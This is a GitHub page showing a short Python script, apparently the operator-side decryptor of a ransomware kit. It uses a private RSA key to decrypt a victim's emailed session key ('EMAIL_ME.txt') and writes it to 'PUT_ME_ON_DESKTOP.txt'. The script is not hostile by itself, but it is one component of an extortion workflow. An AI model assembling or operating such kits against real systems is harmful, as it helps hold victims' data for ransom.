Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
27 lines (18 loc) · 716 Bytes

File metadata and controls

27 lines (18 loc) · 716 Bytes
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
with open('EMAIL_ME.txt', 'rb') as f:
enc_fernet_key = f.read()
print(enc_fernet_key)
# Private RSA key
private_key = RSA.import_key(open('private.pem').read())
# Private decrypter
private_crypter = PKCS1_OAEP.new(private_key)
# Decrypted session key
dec_fernet_key = private_crypter.decrypt(enc_fernet_key)
with open('PUT_ME_ON_DESKTOP.txt', 'wb') as f:
f.write(dec_fernet_key)
print(f'> Private key: {private_key}')
print(f'> Private decrypter: {private_crypter}')
print(f'> Decrypted fernet key: {dec_fernet_key}')
print('> Decryption Completed')
Morty Proxy This is a proxified and sanitized view of the page, visit original site.